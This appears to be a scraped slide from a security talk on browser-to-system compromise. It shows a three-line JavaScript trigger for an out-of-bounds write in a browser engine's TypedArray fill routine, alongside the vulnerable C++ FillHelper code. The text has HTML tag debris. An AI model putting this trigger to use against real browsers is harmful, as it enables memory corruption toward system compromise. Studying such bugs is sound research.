04.08.2016 Views

$hell on Earth

shell-on-earth

shell-on-earth

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

C<strong>on</strong>sider the following JavaScript code:<br />

var ua = new Uint32Array(0x10);<br />

ua.__proto__= new Array(0xffffffff); //ua.length is now set to 0xffffffff<br />

ua.fill(0x41, 0x41414141, 0x41414141 + 1);<br />

When the executi<strong>on</strong> reaches FillHelper:<br />

Var JavascriptArray::FillHelper(JavascriptArray* pArr, Js::TypedArrayBase*<br />

typedArrayBase, RecyclableObject* obj, int64 length, Arguments& args,<br />

ScriptC<strong>on</strong>text* scriptC<strong>on</strong>text)<br />

{<br />

...<br />

int64 end = min(finalVal, MaxArrayLength);<br />

uint32 u32k = static_cast(k);<br />

while (u32k < end)<br />

{<br />

if (typedArrayBase)<br />

{<br />

typedArrayBase->DirectSetItem(u32k, fillValue, false); //<br />

OOB Write<br />

}<br />

else if (pArr)<br />

{<br />

pArr->SetItem(u32k, fillValue,<br />

PropertyOperati<strong>on</strong>_ThrowIfNotExtensible);<br />

}<br />

else<br />

{<br />

JavascriptOperators::OP_SetElementI_UInt32(obj, u32k,<br />

fillValue, scriptC<strong>on</strong>text, Js::PropertyOperati<strong>on</strong>_ThrowIfNotExtensible);<br />

}<br />

}<br />

u32k++;<br />

55 | <str<strong>on</strong>g>$hell</str<strong>on</strong>g> <strong>on</strong> <strong>Earth</strong>: From Browser to System Compromise

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!